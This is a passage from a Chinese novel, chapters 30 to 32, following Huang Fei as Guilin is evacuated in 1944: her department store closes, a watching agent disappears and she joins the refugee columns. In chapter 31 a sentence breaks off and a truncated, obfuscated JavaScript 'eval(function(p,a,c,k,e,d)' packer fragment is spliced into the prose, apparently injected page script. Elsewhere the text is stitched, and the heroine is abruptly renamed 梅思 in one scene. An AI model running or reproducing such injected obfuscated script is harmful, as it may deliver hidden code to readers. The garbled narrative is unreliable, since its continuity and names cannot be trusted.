对于逃难的话题,自己虽然倒是还能够保持镇定,然而一想到撤离桂林,一路上的风尘仆仆,还有未知的终点,也不由得感到心烦,真的是很累啊,身体劳苦,心也疲倦,当初离开延安,跋涉在黄土高原上的那段经历,给自己的感受太过深刻,从那以后,自己对未来的一个期待,就是从此不走远路,只要能安安稳稳地住在桂林,就心满意足,曾经的自己,迫切地想要踏遍中国的大江南北,看一看这大好的风光,如今却只想舒舒服服地待在家中,不要两条腿受累。 东妹在椅子上坐下来,端起茶杯喝茶,咕嘟咕嘟猛灌了几口,想来是渴得厉害,杯子里马上见了底,她自己提起暖水瓶,又倒水,是昨晚烧的水,已经不很热,可以直接就这样喝。 东妹倒第三杯水,喝了一口,总算喘匀了气息,定了定神,继续和黄菲说着:“幺姐,若是先生定下了飞机,你就一起走了吧,离日本人远点,终究安心些,况且又是坐飞机,在天上飞,‘嗖’地一下就到了,也不累,倘若是在地上走,要走多少天呢!好在你聪明,提前想到这些,没有置办许多东西,真是难搬家,要说藏住呢,也不容易,你这屋子小小的,一搜就能给人找到。” 东妹环顾房间四面,房屋诚然是小,然而东西实在太少,还是一年前从平乐出来的时候,带的那两只藤箱,都塞在床底,这便是最大件的家产,所以即使这样小的屋子,居然也显得空空荡荡,说话声音大了一点,就会有回声的,从前自己还很为幺姐感到可惜,劝说过她:“幺姐,你如今每个月赚那么多东毫,怎么就不买些衣裳物件来穿用?人生一世,也该过得好一点,何苦过得好像寒窑冷宫似的。” 当时幺姐只是笑笑说:“我这样的日子过惯了,或许以后会变一变吧。” 如今看来,终究幺姐是读过书的人,眼光长远,和日本的仗还在打啊,说不准哪天会怎样,如今日本人这不就是要打过来了?幸亏幺姐没把钱换成了东西,银元多好拿啊,卷成一包就可以带在身上,家当不会怎样损失的,若是依着自己当初的主意,这一番可就亏大了。 黄菲等她说完了,慢慢地说:“东妹姐,我不去重庆。” 东妹瞪大了眼睛:“啊,那你要怎么办?” “我跟着政府走。”黄菲幽幽地道。 30. 第三十章 逃亡前夕 第三十章 逃亡前夕 六月二十五号,是端午节,黄菲原本是打算这一天好好地过,买两只粽子来吃,一只甜的,一只咸的,早上吃咸的,当早点,晚上吃甜的,作夜宵。 若是依黄菲的内心,真是想要自己包的,平乐的粽子与别处不同,讲究用黄金柴的灰水来浸泡糯米,这样煮出来的粽子就会是金灿灿的颜色,如同撒了金粉,尤其是甜粽,一定要这样做的,或者就是用稻草灰的水,不过詹妈妈是说:“顶好用黄金柴,更香些,有山里的野气,况且又能做药,倘若是胃疼呢,抓一小捏泡了水,喝了就好了,黄金柴啊,可是好东西,咱们乡里人的宝。” 至于稻草,“虽然铺床是好的,不过倘若说到煮粽子,还是黄金柴更好些,只是如果没有黄金柴,也少不得只好用禾草灰。” 黄菲从小在乳母的家中,吃的就是这样的粽子,每年端午包粽子,她也跟着上前,取一片粽叶,折成一个兜,似模似样地往里面放糯米,这一个她亲手包的粽子,照例是归她来吃的。 后来回到了县城里父亲的家,每年到了这个时节,也是吃粽子,是厨房里包的,材料都说很是讲究,咸粽里面除了上好的排骨,还有海米金钩,吃在嘴里,不但有陆地的气息,还有海洋的味道,口味相当丰富,这在詹妈妈那里可是不曾有过的,能有五花肉,就是隆重了,吃这样肉粽的时候,詹妈妈还说着:“这都是托了幺姐的福!” 只是自己吃着父亲家里的粽子,总觉得不如詹妈妈那里的鲜美,母亲叹息着解释:“可能是黄金柴不够新鲜,不是人家从山上现采来的。” 年幼的黄菲便也以为是如此,很是梦想着能够重回乡间,到山上去采来大把的黄金柴,烧了灰泡糯米,包粽子。 如今她虽然是住在桂林城中,然而梅岭上除了野生的梅树,也有大片的黄金柴,黄菲从前在山间寻找食物,一眼便认了出来,黄金柴与黄荆长得很像,不过叶子边缘多有锯齿,叶片正面是绿的,背面颜色淡些,就是自己童年一直看着的黄金柴。 到后来自己回了县城,有时候乳母家里来了消息,东妹会捎来一把黄金柴:“天热了,给你熏蚊子用” 黄菲偷偷地找了一个铁皮盒子,晚间把黄金柴放进去,划着了火柴点燃了,觉得比蚊香的味道好许多,后来给宁妈妈发现,当即都给抄了去,让不许再点火,怕把房子都烧着了,所以即使离开了乡间,黄菲断断续续也依然能看到新鲜的黄金柴,幼时的记忆不曾淡去。 因为有如此大片的黄金柴,黄菲要做灰水粽,便是得天独厚,桂林城里的人要做这样的粽子,还要出街上去买,自己完全不必,到山上采一把就好,不需要花钱还是次要的,最宝贵的是那种趣味,仿佛回到了小时候的无忧无虑。 只不过心中描摹得虽然是美好,真要这样做,却很是为难,实在没有时间,虽然为了这个“焦土抗战”,人心已经动摇起来,然而百货公司照旧是开门营业,黄菲每天要去公司的,工作时间非常长,从早上到深夜,想要包粽子,根本没有时间,简单煮一点饭都是匆匆忙忙,何况包粽子那样细致的活计,所以粽子只能从外面买,黄菲想的是,这一天的清早就不必烧饭,到外面买一只咸粽来吃就好,晚间下了班,回家路上再买一只甜粽,吃过之后再看一阵书,就可以睡了,这一天便是以粽子开端,又以粽子结束,很是完美。 端午这一天的早上,她确实是执行了原本的计划,在街头的小摊上买了一只鲜肉粽,一边走一边吃着,不等到公司,已经吃完了,喝一点水便可以出到柜台,迎接顾客。 然而当晚的甜粽设想则是全泡汤了,因为就在这一天临近中午的时候,刘腾匆匆过来,通知几层楼的售货员:“赶快把柜台里的东西都打包好,今天的营业到此为止。” 众人都大惊失色:“经理,怎么了?” 刘腾紧皱眉头:“张长官已经下达命令,即刻疏散,老板刚刚通知下来,公司要赶快搬迁,你们快快把自己柜台的货品整理好,就可以回去了。” 他转头又对顾客说:“好了,先生少爷,太太小姐们,公司现在就打烊了,请各位也回去准备一下吧,等过一阵日本人败退了,我们再重新开业,到那时欢迎各位再次光临。” 本来还人头攒涌的公司之内,登时“轰”的一阵声响,仔细听来是许多人的议论: “怎么办?怎么办?桂林真的守不住了吗?” “那我们一定要逃难的咯?” “当初好容易来到这里,如今又要走日本鬼子么?” 许多人的话声汇集在一起,就如同炸了窝的蜜蜂。 小时候,黄菲捅过蜂窝,当时那一窝蜜蜂全涌了出来,黑压压一片,如同酝酿了暴雨的乌云,原本的嗡嗡嗡汇成一处,便成了轰轰轰,好在东妹那时就在不远处,见此情形,一把便拉了自己向山下飞跑,两个人撒开四条小短腿狂奔逃命,总算没给蜇得太厉害。 那一次经历让黄菲印象深刻,虽然这么多年来,记忆已经没有那样鲜明,然而就在这一瞬间,往事清晰浮现,恍然又回到了现场,公司内人们的议论声,就如同扑面而来的蜜蜂,一团黑雾蒙蒙。 眼见百货公司都已经要关门结业,显然局势紧急,于是不待经理和销售员们多加劝说,顾客们很快便轰然而散,公司内的销售小姐们这个时候也顾不得吃午饭,匆匆便将柜台内的商品装箱打包,全都送到仓库,就这样一直忙碌到下午四点多,这才将公司内有价值的物品整理完毕, 六月下旬天气热啊,这一天早上,黄菲看过寒暑表的,华氏七十八度,到了正午,大约已经超过了九十度,现在即使日光能够稍稍缓和一些,仍然是热,又是搬货,很需要用些力气,人的汗水就止不住地顺着面颊脖颈往下流,把原本扑得均匀的香粉,都冲刷出一条条淡淡的痕迹。 见公司之中已经空荡荡,刘腾各处又查看了一遍,把手一挥,终于发了话:“诸位辛苦,赶快各自回家里去吧,从现在开始,不必上班了,这个月的薪水,现在就去财务结清。” 一众柜员其实也早已心如火焚,从六月十六号,桂林就开始疏散,只是公司毕竟家大业大,不容易这样短暂便做出决定,虽然犹豫,却也一直挺着,观望风向,以为或者情势不至于那样危急,国军竟然赢了,也未可知,因此便一直维持开门营业,然而到了今天,第四战区的司令长官张发奎,向桂林各团体代表发布了即刻疏散的命令,商会自然是给通知到,百货公司的老板终于决定下来,要关闭公司,转移货品,销售员们原本就是勉强镇定心思在上班,到了这时候,眼看连公司都关了门,内心自然更加慌乱,巴不得一步就回到家中,赶快商量逃难的事。 然而终究要把当天最后的工作收尾,否则倘若立刻夺门而出,可想而知本月的薪水就没了,之后公司再次开门,也不会给雇佣,不到万不得已,人总要留一些后路,所以一个个便强忍着焦躁,在这里打包物品,到这时终于完毕,所以几十个销售员便蜂拥到会计室门口,一个挤着一个,拼命往里抢,出纳的桌前转眼间便给一群人围满,崔珍珠的眼前伸着一只只手,都在向她要钱:“我这个月的薪水!” 这么多的手让崔珍珠觉得眼前发花,她定了定神,埋头看着桌面上硕大的账本,一个一个地给拿钱:“丽莎,四十三元,另加十元礼金……曼妮,四十七元……” 公司在这个时刻很是仁义,每个人在当月薪水之外,还另外发给十个大洋作最后的纪念,也就是遣散费。 纵然崔珍珠头脑迅速,手脚麻利,这么多人的逃亡津贴,也用了半个多小时才发放完毕。 当眼前的人影终于散去,崔珍珠不由得长长地吁了一口气,抬起头来,看着面前的最后一个人,这个时候只有她还站在这里,稳稳的,不慌不忙。 崔珍珠伸手扶了扶鼻梁上的黑框眼镜,虽然本来不想笑,但仍然习惯性地扯了扯嘴角,尽量保持礼貌:“黄菲,你可真是不着急。” 黄菲笑了一笑:“反正也不差这一刻半刻。” 莫非早几分钟回家里去,从此便太平无事了么? 崔珍珠轻轻点头:“也真像你说的这样。” 然后伸手从柜子里取出一个红纸包,下午匆匆封好的薪金,另外本月薪水计算的单子也放在里面。 黄菲接过钱来,向崔珍珠道了谢,又互相道了珍重,便转身从从容容地离去了。 见她走了,会计室内除了自己,再没有别人,两位会计师都已经走了呢,崔珍珠这才感到真正的放松 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得说自己在延安,虽然没有“练成铁一般的身体,铜一样的精神”,却终究是有收获的,就是山林野地里生存的能力,比如辨识野菜蘑菇,还有在林子里下套子,抓野鸡逮兔子,既然知道该在什么样的地方套野鸡,自然也晓得怎样辨认野鸡的足迹,跟踪寻找野鸡的窝,春夏的时候,找到了蛋就是一窝端,心里非常满足。 黄菲转过头来,视线落到了不远处那一小块菜圃上面,在延安,自己也学会了种地,无论是种菜,还是种麦,都是可以的,只不过倘若是种植小麦,磨面费力,况且也没有时间,便只是种了一些蔬菜。 虽然是幼年寄养在乡村,也曾经为此很是哀怨,不过到了延安,黄菲回首从前,发现即使是这种伤感,也是有“阶级”的,对比其她的小姐少爷,自己当然很是受了磨折,不过相对于东妹这些村子里的孩子,自己依然是一位“小姐”,虽然也曾经自傲地数说自己会做的农家事,打猪草、拾柴之类,然而黄菲知道,那不过是觉得有趣,并不是一定要做,只是看着别人做,以为很有意思,便也过去凑热闹,其实无论是詹妈妈还是自己,都不把这些当做是自己必须要完成的工作,东妹她们就不一样,乡村中的孩子,这些是一定要干的,一双小手也是很重要的帮手。 因此虽然也懂得一些,却不过是表面而已,真正学会了这些事,还是在延安,与女大的同学们一起开荒、纺线,到这时黄菲已经可以毫不心虚地说,这些事情自己都能做,很是自豪的。 而当她在梅岭耕种狩猎的时候,每当有所收获,便不由得要感激当初女大的生活,倘若不是在那时候学会了这些本领,即使能够来到梅岭,面对这一片山林,看着里面的野鸡兔子,也是束手无策,吃野蘑菇都怕中了毒,倘若竟然要为此而挨饿,实在很感觉冤枉。 虽然感慨良多,不过这些念头在头脑中停留的时刻并不久,黄菲一转念便回到了现实,肚子饿啊,赶快填饱肚皮要紧,她于是匆匆磕开一枚野鸡蛋,在碗里搅散之后,与昨晚剩下的米饭一起在饭盒里煮,还放了几条青菜,做成青菜鸡蛋烩饭,这就是自己迟来的午饭,还合并了晚饭。 半个小时之后,黄菲已经坐在了外面房间里,将碗筷放在桌子上,开始吃饭,窗户打开来,外间世界的气息便传入进来,街上一片闹哄哄,虽然不久前刚刚疏散过一次,然而听那人潮声浪,倒仿佛桂林城内的人更多了一样,在敌军攻城的前景之下,居然格外热闹。 不过黄菲也知道,这种仿佛是热烈的气氛之中,满含着不安,虽然听不是很清楚,然而也能够猜得到,人们说的都是这类的话: “你们走哪里啊?” “那个地方鬼子是不是一定不会去啊?” “什么时候走啊?” “怎么走啊?” “要带多少东西啊?家里的箱子柜子怎么办呢?” 黄菲端起杯子,喝了一口水,顺了顺喉咙,吃烩饭居然都吃噎了,自己实在是饿了,吞得稍猛了些,梗在了食管里。 虽然在公司里表现得很有些超脱的样子,不过到了现在,想到不久之后很有可能必须离开,黄菲的心情也并不轻松,这一路的辛苦啊,想一想就头痛,而且前路茫茫,真不知什么时候是个尽头。 31. 第三十一章 乱世神仙洞 第三十一章 乱世神仙洞 从六月底到八月上旬,这一个半月的时间,虽然外间局势莫测,在黄菲而言,却俨然是神仙一样的日子,仿佛回到了只需要嬉戏玩耍的童年。 回想从前,每日里天不亮就要起床,梳洗烧饭,填饱肚皮之后,匆匆便要赶去公司,夜间到家总要过了十点,踏进家门已经疲累得很,擦洗身体之后不多时便再熬不得,很快就要睡了,虽然是皮鞋明星,然而实在疲于奔命,简直连喘一口气的时间都没有,有时候停下来细细地体味,便感到从骨子里散发出来的疲乏弥漫了全身,在这种状态之下,肢体沉重是自然的了,不过在另一面,却也感到全身有一种轻飘飘,好像整个人都空了一样,如同一只风筝,可以给风吹起来。 现在可是好了,太逍遥了,公司暂时不营业,黄菲每天上午晚晚地起,外面天一黑,早早地便睡了,有时候甚至午饭之后,下午还要睡一觉,往往午后两点左右倒在床上,一睡就睡到日色昏黄,爬起来看一下表,已经是将近五点了,难怪肠胃里有一点空虚,黄菲便长长地伸了个懒腰,趿拉着拖鞋去做饭。 每天都是在休假,没有收入,难免有“坐吃山空”的恐慌,不过此时黄菲也无所谓了,自己实在太累了,就在公司结业的第二天,六月二十六号,黄菲清早醒来,本来凭了惯性立刻就要坐起身,然而她脑筋突然一抖,想到从今天开始,自己不必上班了,于是已经绷紧的身体登时便放松下来,仿佛浑身的骨节都散开来一般,摊着手脚懒懒地躺在那里,如同融化的蜡像。 躺过片刻之后,黄菲的头脑开动起来,往事倏忽在眼前闪过,这时她恍然发觉,多年来自己过得都是这样的生活,格外的迫促,少有悠闲的时光,回到父亲家中,是早起晚睡的读书识字,追赶着哥哥;去到延安,是时刻想着磨练自己,为革命而献身;从延安而桂林的路途,平生从没有过那样的危急,仿佛是走在生命的悬崖边;进入桂林城,好像是终于平静了,然而为了柴米,每天也是匆匆忙忙,少有时间能够暂停下来,好好地看一看自己的生活。 所以偶尔地,黄菲便有一种焦枯的感觉,仿佛整个人都成了在日光下晒干的禾草,没有了任何滋润的生气,草木沐浴雨露之后的那种鲜活生机,于她已经十分遥远。 就在她隐隐地感到难以为继的时候,忽然之间,什么都不必做了,日寇逼近诚然是一件可恨而又紧张的事,可是就在这种时刻,给了她意外的机会,让她可以彻底地休息,过一种完全的无所事事的生活,而这在她从前,是最为鄙视痛恨的。 这一天上午,黄菲懒洋洋地醒来,看一下枕头边的手表,又是已经接近十点钟,肚子饿啊,赶快要弄一点东西来吃,于是她便走向自己的食物储藏点,依然是那一棵树,枝条上依然是那一个篮子,不过篮子里装着的已经不再是野鸡蛋。 到了这个时节,越来越接近秋天,野鸡便逐渐地不再孵蛋,从七月的时候,就已经少见灌木草虫中的窠里有淡青色的蛋,到了这个时候,更加很难见到蛋,所以此时放在篮子里的,是几颗梅子,一只马铃薯,一根胡萝卜,还有一点青豆。 黄菲哼着小曲,将竹篮取下来,把几样食材都洗净,马铃薯削了皮切成小小的块,胡萝卜一小块切成丁,加了青豆一起,就放在饭盒里面煮,这边便又料理梅子,剔除了核,切成小丁,盛放在一只小碗里。 动作虽然悠闲,事情也着实不多,到这时候无事可做,就坐在那里静静地等待,又过了大约十分钟,黄菲将饭盒从火上端下来,捞出里面的东西,胡萝卜和青豆另放在一个小碗里,只把马铃薯放在一个粗瓷大碗里,拿了擀面杖,便开始捣。 要说这一根擀面杖,当初找来,本来是为了烙锅盔,陕西的锅盔夹桂林的辣椒酱,那该是何等的美味,只可惜虽然设想得很好,然而却极度缺乏空闲,所以便一直都只是想,不过这一根木棍终究也是有用的,黄菲发现拿它来捣马铃薯泥,是很不错的,方便趁手,推而广之,捣姜蓉也还好,这一阵春天播种的马铃薯成熟了,黄菲时不时就捣一碗土豆糊糊来吃。 马铃薯捣成了泥,黄菲把它连同胡萝卜和青豆一起,又倒回饭盒里,这一回是加了一点菜籽油,还有梅子丁,又加了一点水,水中之前调和了盐及胡椒粉,不多时便煮成了杂蔬梅子土豆泥,黄菲也没有将它再次盛进碗中,把那只饭盒移开来,便守着这炊具兼餐具,开始吃这迟来的早饭。 这时已经是十点半还多,不完全是早饭了,几乎可以合并午饭,这一阵黄菲每天只吃两餐饭,上午十点多、十一点是早午餐,下午四五点钟吃晚餐,漫长的中段时间如果饿了,就随便弄一点什么当小点心,比如烤蘑菇之类,林地间有许多的蘑菇,至于夜宵,则是不需要费心了,因为八点多一点就会躺倒睡觉,哪怕一时睡不着,只要躺在那里,就觉得很舒服。 刚起床时的饥饿让人感觉有些焦躁,此时吃好了饭,黄菲便感觉又是懒懒的,她慢腾腾洗刷了饭盒,走出梅林,身影出现在外间的公寓,小小的房间,走两步便到墙边,黄菲揭去几张日历纸,看到了日期,八月八日,立秋,啊,已经是秋天了啊,当天是礼拜二,大家都在上班,不过与自己无关,本月的房租是已经付过了的,这一笔钱早就已经计划了出来,这一个多月的时间,自己少有支出,所以藏在树洞里面的银元,还是沉甸甸的一包。 然后黄菲便来到窗边,打开窗子向外面一望,只见街对面的树下,一个黑衣男子正在左顾右盼,不多时抬起头来,冲着自己呲牙一乐。 黄菲对着他也是一笑,趴在窗台上,望着街道上往来的行人车辆,又看了一会儿热闹,富贵人家豪华的黄包车依然是叮铃铃地响,一路呼啸而过,虽然是人力车,却也有着不输于汽车的气势,路上走路的人纷纷避让,瞠目结舌,那平民的、暗淡的东洋车,听到了铃声也只能默默闪避,就在众人的目送之中,那一辆银光闪闪的车子飞快过去,让人只能看到他宽阔的礼帽,帽檐一颤一颤,那背影也仿佛比他本来的体格要高大宽阔。 大约十分钟,黄菲将窗子重新关好,回转身又进入梅林,时间真是能改变人,也或者是因为如今的兵荒马乱,黄菲对于那个密探,居然已经逐渐消退了恶感,当然称不上是如何亲切,但起码不像最初那样极端嫌憎,竟然可以平心静气地面对了,尤其是这一阵,自己待在家中,每天开门关窗看到了他,即使不会打招呼,也能笑一笑,在自己,仿佛可以称为超然了。 孙定康站在小楼对面的树下,看着楼上的人关了窗户,又回到了之前那种与世隔绝的隐居状态,便也放松下来,从口袋里掏出烟盒,取出一支香烟,打了火吸起来,八月里,依然炎热,其实正是本地最热的时节,这种时候要抽烟,可也是要费些力气,把个小火把就夹在手指间啊,然而却不能不吸,长久的钉梢,实在无聊,太过枯燥,作为一个忠心耿耿的人,又不能拿一本小说来看,或者中间偷溜去戏园子。 监视这一位“尖头曼贵妃”大半年了,孙定康如今,感到自己居然对目标人物生发出一种特别的感情,猎人对猎物也是有感情的,猫对老鼠一定也有莫名的心绪,自己专盯白班,看着她,从早到晚,离开家,进入百货公司,又从百货公司回来,点着了楼上的电灯,再之后电灯熄灭,孙定康不由得便要想,此时的黄菲在做什么?她在灯下读书报么?又或者数银元记账?当天正是发薪的日子。 这样想着想着,孙定康便感到,自己与监视对象有了一种诡异的联系,那本来是不应该有的。 黄菲憎恨自己,这一点孙定康早就知道,也并不意外,少有被监视的人居然会对监视者淡然相待,自己也并不在乎讨人嫌,只是时至今日,自己的这个对象居然有一点彻悟的味道,每天推窗看外面,会把自己也打量一番,好像自己也成了这街头风景中的一项,有时候想一想,也真是有些哭笑不得,孙定康只能说,这位黄三小姐还挺能想得开的,不过这样也好,两个人相安无事,谁也别找谁的麻烦。 孙定康抬眼望了望二楼紧闭的窗户,今天这一天,这一位只怕又是不出门了,倒是挺让人省心的,他转念又一想,一个多月了,出门的次数屈指可数啊,都不到五回,每次出街,也不会买许多东西回来,她这几十天,想来是要耗完之前所有的存粮,这样子走难更轻便些么? 这一阵人心惶惶,孙定康也不想太多疑,他只是忽然间深有感触,这位大小姐还挺能耐得住性子,这么多天啊,关门闭户,就在那一间小小的屋子里待着,她倒是也不嫌闷,从前整日里到处奔波,如今终于能安闲了么?所以连一步也不愿意多走,她这样倒也算是“动极思静”。 就在他这样想着,忽然间一个人匆匆赶来,到他身边贴在他耳朵上低声说了几句话,孙定康登时大吃一惊,掐掉了烟头,转身便走了。 这一天的午后,黄菲只小睡了半个多钟头,便钻出帐篷看书,毕竟是山里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当天的晚饭,黄菲烧了一盘虾,是溪涧中那种小虾,溪水很清澈,不过却也浅,生长不了很大的虾,像是河虾那样的体格,在这里是很难以想象的,不过溪流虽然规模不够浩荡,里面却有许多小鱼小虾,黄菲格外偏爱虾,连头带尾都可以吃的,比鱼方便些。 虾米虽然小,但是很鲜美,加姜末清炒了之后,吃起来比河虾的鲜味更浓,仿佛这么一粒小虾,浓缩了山溪的味道,只要烹调得法,便不需要怎样担忧虾壳扎嘴,比如黄菲这一天晚上,便是用马铃薯泥裹了小虾,下油锅来炸,炸熟的虾丸金灿灿焦黄的,外面酥脆,里面却还软嫩,咬起来咯吱咯吱,外层的虾米在牙齿之间一碾就碎了,再配上一碗青菜汤,简直是人间盛宴,最美的晚餐。 吃过晚饭后,黄菲清洗了碗筷,又在盆子里兑了热水,露天洗凉,然后篝火旁看一看表,已经六点多了,黄菲这时候有点想出去听一听无线电,播音员都说了些什么,又或者是不是播放音乐,不过她想了一下,还是算了,无线电也懒得听,外间发生的事,听在耳中总觉得心累,于是她便息了这个念头,坐在草地上仰头看上的星星。 又过了一阵,黄菲感觉盹睡上来了,看一下时间已经是八点二十几分,便刷牙 。 第二天八月九号,黄菲又是很晚才起床,将近中午的时候吃了饭,循例到外面开窗看街景,眼神在街边扫了几遍,不知哪里总觉得有点不对劲,她又看了两回,这才恍然明白是哪里问题,日常站在对面钉梢的那个家伙,今天为什么忽然不见了,莫非去吃饭?还是去WC? 黄菲总不愿直接说“厕所”,觉得有点太粗俗,同学之间往往便说“WC”,后来在延安,她不这样说了,虽然没有人特别提出禁止,但自己感觉多少带了一点“小资产阶级气息”,到后来连想也不愿想这两个字母,回来桂林之后,往日的习惯渐渐又浮了上来,她起初是有些惭愧,离开了延安,便连旧习气也一点点回来了,但又一想,第一女兵也是这样说的,心内便又安然。 虽然很是碍眼,不过那个人此时忽然不见,倒是让人感觉有些意外,不过黄菲并没有多想,再坚贞的人,也不能十二个小时坚守岗位,于是她搜寻了两圈不见人之后,便关了窗子,回到梅林继续悠闲。 八月十号也是如此,八月十一号也是如此,到了这个时候,黄菲终于感到有些不对劲,怎么可能一连三天不见的?自己下午和傍晚也会出去,都没有看到他,这是怎么样一回事? 于是黄菲终于打开大门,走到街上,这才发现街头的人都是行色匆匆,满面惊惶,比起上一次说大疏散的时候,更加紧张。 黄菲不得要领,便问街边的小贩:“大家这么着急做什么?” 小贩摇着扇子:“黄小姐,衡阳给日本人占了,你不知道?” 黄菲登时如同一个雷打在头顶,日寇占领了衡阳,那么要多久会来攻广西? 32. 第三十二章 看粳米红豆粥,想起艺术饭 第三十二章 看粳米红豆粥,想起艺术饭 卧室窗边的小桌旁,黄菲面前摊开几份报纸,耳边还响着无线电,女播音员的声音听起来有些仓皇:“……衡阳沦陷,国军李玉堂部已由向湘西山区转移……” 黄菲从面前的报纸上抬起头来,望向窗外,重重地吐出胸中一口闷气,就在八月八号,衡阳落入日军之手,此时回想起来,从第二天就再没有看到那个钉梢的人,想来在这样紧张的情形之下,已经再顾不得自己,去做更加紧要的事,也不知是不是已经逃了,监视者居然比被监视的人跑得还快,纵然是在如此危急的情势之下,也不由得让人感到有一丝丝好笑。 黄菲勉强扯动了一下嘴角,不过这种时候顾不得太多嘲笑对方,是需要想一想该如何做,悠长的神仙假期到了这个时候,本能知道即将结束,接下来自己也要准备离开了吧?湖南与广西比邻,衡阳又是重镇,如今衡阳丢失,鬼子要进来广西,就容易得多,继续观望等待实在没有太多意义。 于是黄菲“忽”地一下站起来,立刻开始准备整理物品。 东西本来就不多,黄菲又是军事课历练过的,所以定下计划之后,一个多钟头就处理好一切,房屋里的东西但凡能搬动的,都搬进了梅林中的帐篷里,连小木桌和椅子她都搬了进来,放在帐篷外,坐在那里露天吃饭蛮好,这一回可有了桌椅,余下的粗重家具,比如床铺、衣柜,便只好舍弃了,留在外面,纵然日本人来了桂林,会把这些都当劈柴烧,自己也无法顾惜。 打点完物品之后,黄菲站在房间里,向四面一望,真是空荡荡啊,全都搬空了,此时在屋子里稍大一点声音说话,都会有回音,仿佛空谷回声一般。 望着这显得空虚的室内,一股怅然蓦地渗入黄菲的心头,自己在这里住的时间并不很久,不过一年光景,从前也只当是临时栖身,并没有投入太多的感情,然而此时要逃亡了,忽然间便有一种不舍,似乎无论平日里怎样淡漠,当将要离去的时候,总会有一些触动,相伴得久了,终究会有些不一样吧,习惯也是一种力量,能够牵动人的情感。 她靠在墙上怅惘片刻,动了动身体,正预备料理迟来的早中饭,忽然间一阵猛烈的拍门声:“快开门!” 梅思一惊:“什么事?” “间谍搜查。” 梅思忙走去刚拉开门闩,门“咣”地一声便开了,外面大步闯进来两个男人,一个军官,一个士兵,打头的军官一肩膀把梅思撞到了一边,进到室内,楼上楼下查看,衣柜门“霍”地打开,又重重砸上,那柜门咔嚓一声,让人担忧要脱落下来。 军官张大鼻孔,呼呼喘气,瞪大牛一般的眼睛,四处犀利张望:“你老实讲,她去了哪里?有人说看到进了你家门。” “长官找谁?” “我老婆,那个贱人,跟野男人跑了,老子打鬼子流血卖命,她找野男人!” “我并不晓得。这屋子里,长官尽管查看,看有没有藏人。” 军官扫视室内,冷笑一声:“你这房子一眼看尽了,还搜什么?” 他一转眼,大敞开的房门外,道路对面几个人在望,还有两三个胆大的,凑到门边探头探脑。 军官狠狠瞪去:“看什么看?有什么好看?” 门前的头“倏”地便消失了,马路那边的人也彷徨着散开。 那军官转头吩咐:“你若有消息,赶快报知我,不然按通敌论处,枪毙。” 又狠命盯了梅思两眼,喉头颤动,似是想要说些什么,后面仿佛是勤务兵的轻声提醒:“营长,差不多该集合了,命令急得很,团长那边要问的。” 军官看了一眼手表,不情不愿,只得转身奔了出去。 当天晚上,黄菲是住在外面房间里,梅林中的那一个小小的帐篷,已经给箱笼杂物填满,连落脚的地方都没有,所以虽然热,却也只能睡在这里,不然的话,草地上蚊子咬人厉害,这种时候倘若得了疟疾,就很麻烦。 黄菲躺在床上,虽然决心好好睡一个觉,以便明日动身长途跋涉,却辗转反侧难以入睡,前半夜在床上不知翻了多少个身,头脑都依然清醒,到了后半夜,这才朦朦胧胧迷糊了过去,只觉得自己没有睡多久,窗外的光线就开始明亮了,人声也嘈杂起来,仿佛一个城市都从夜晚的假死状态中恢复了过来。 黄菲到这时也无法再睡,只得起了床,到梅林间简单吃了早饭,便背了一个背包,手里又拎一只皮包,踩着那陈旧的楼梯板,咯吱咯吱、颤颤巍巍从二楼下到一楼,出了门,在门上挂了一枚铜锁,转身再看街对面,那个人果然没有在,再一看街头的人,已经如同洪流一般,滚滚地朝城外奔流,黄菲在自家门前又停留了几秒钟,定了定神,终于迈开步子,也汇入了这股潮流之中。 街道上人挤着人,哪怕是自己不抬腿的,也给这股人潮带动着移动,这样的拥挤让人感到烦躁,黄菲一心期盼着快一点走,两个钟头之后,从桂林城里好容易走到城外,本以为到了这里会轻松一些,起码路上的人不再那样密集,哪知道走在城外的土路上,这才发现反而更挤了,已经不单单是人,还有牛羊猪狗,有人肩头扛着鸡笼,里面的母鸡咯咯咯在叫,很像是刚刚下蛋了。 于是黄菲恍然明了,桂林城中还只是城内的人在逃,到了这里,附近乡村的人都在赶路了,还带着自家的禽畜,自然便更加的热闹,周围只听得人喊狗叫,每一个活着的生物,都能够制造出两倍三倍的声音,那种巨大的嘈杂仿佛凝成了实质,如同棉絮塞了人满耳,让人耳道发胀。 黄菲正这样烦恼着,忽然间脚下一滑,差一点跌倒,低下头来一看,下面是一滩不知什么粪便,想来是牛马之类路上排泄出来的,正给自己踩了一脚,虽然是经历过极端的艰苦,然而这样的龌龊也让黄菲不由得一阵头皮发麻,很有一点恶心。 人们正在匆匆赶路,忽然间听到后面一阵急促的铃声,显然是催促让路,黄菲对这铃声是熟悉的,在凝固的人群之中勉强回头一看,果不其然,是一辆亮铮铮华丽丽的黄包车,银白色的钢架子在太阳光下反着光,两边的两盏电灯,这时候大清白日便并没有亮起来,坐在车上的人整不住地踩着脚边的踏铃,叮铃叮铃连续地响,黄菲感觉自己仿佛可以看到他紧皱起的眉头。 可巧黄菲的旁边也是一辆人力车,车上坐着的是一位妇人,三十几岁年纪,穿着很是朴素,怀中抱着一个小女孩,那女孩五六岁左右,想来是为这种紧张烦躁的气氛所激发,小小年纪也十分烦恼,便哭起来,揪着妈妈的前大襟,一个劲叫着要回家,她的妈妈也正烦得不行,面对女儿却也只能强自耐着性子安慰:“乖乖不闹,我们到村子里看捉鱼。” 小女孩哇哇地大哭:“我不看!妈妈骗人!” 仿佛是为这哭声所激惹,那瘦筋筋的车夫便更加耐不得后面铃声的催促,往地上狠狠啐了一口,转过头来冲着那车子便骂道:“都落到要走难了,还摆这样的臭架子,你催什么催?从前在桂林城,老子要让你,如今到了这里,莫非还让你?你在后面慢慢等着吧。” 逃亡的队伍慢慢地向前移动,黄菲起着念头,一时间有些恍惚,像这样耀眼的人力车,从前在桂林,很是给人侧目的,非富即贵,要么是政府高官,要么是银行里的高级职员,也有他们的太太、小姐少爷们在坐,总之都是高人一等的人物啊,那个时候这样的车子走在街上,风一般,行人车辆都要闪避的,寻常黄包车听到铃声,都要躲闪一边,只恨强不过小卧车,遇上了小汽车,那是不好硬压过一头的,如今为了全城逃难,竟然意外实现了平等。 这一走就整整走了一天,一直到了傍晚的时候,避难的人们这才逐渐停了下来,散在路边点火开饭。 